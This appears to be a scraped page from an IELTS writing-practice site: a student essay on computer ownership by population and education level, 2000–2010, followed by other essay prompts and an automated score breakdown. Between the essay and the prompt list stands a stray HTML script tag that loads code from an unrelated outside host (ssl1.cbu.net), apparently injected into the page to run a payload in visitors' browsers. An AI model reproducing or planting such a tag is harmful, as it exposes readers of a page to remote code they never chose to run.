The graphs analysed give information about computer ownership according to percentage criteria of population or of educational level in the period of time 2000−2010.
The two graphs present similarities since they were carried on in the same period of time and the final percentage reached approximately the 80% although the second graph had a range from 0 to 100.
The first graph shows that during the period of time 2002−2004 the ownership of computers was fixed with around 60% and then had a small but regular rise in the following years until 2010 when computer owners reached a pick with a percentage between 70 and 80%.
The second one on the other side, presents differences between computer owners who had a complete education and who, instead, had not in the period of 2002 and of 2010. In fact computer ownership in 2002 was just 10% for no high school diploma while tended to increase for postgraduate qualification with a percentage of about 60.
In 2010 instead the level of ownership was quit high starting already from 40% for no high school diploma and continuing to rise constantly until the highest level of education represented by Postgraduate qualification with 80%.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The diagram below gives the information about the manufacture of frozen fish pies Summarise the information by selecting and reporting the main features and make comparison where relevant 94
- The diagram below shows the environmental issues raised by a product over its life cycle.Summarize the information by selecting and reporting the main features, and make comparisons where relevant. 68
- Students should pay the full cost of university studies,rather than have free higher education provided by the government. To what extent do you agree or disagree. 43
- The graph below gives information about international tourist arrivals in different parts of the world. Summarise the information by selecting and reporting the main features, and make comparisons where relevant 93
- Some people believe that there should be fixed punishment for each type of crime. Others, however, argue that the circumstances of an individual crime and the motivation for commiting it, should always be taken into account when deciding on the punishment 77
flaws:
The sentences are not developed smoothly. and some sentences are too long, look:
Avg. Sentence Length: 33.5 21.0
Attribute Value Ideal
Score: 6.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 6 10
No. of Words: 201 200
No. of Characters: 970 1000
No. of Different Words: 105 100
Fourth Root of Number of Words: 3.765 4.0
Average Word Length: 4.826 4.6
Word Length SD: 2.812 2.4
No. of Words greater than 5 chars: 65 60
No. of Words greater than 6 chars: 50 50
No. of Words greater than 7 chars: 37 40
No. of Words greater than 8 chars: 26 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 33.5 21.0
Sentence Length SD: 7.588 7.5
Use of Discourse Markers (%): 0.667 0.12
Sentence-Text Coherence: 0.53 0.35
Sentence-Para Coherence: 0.829 0.50
Sentence-Sentence Coherence: 0.188 0.07
Number of Paragraphs: 4 4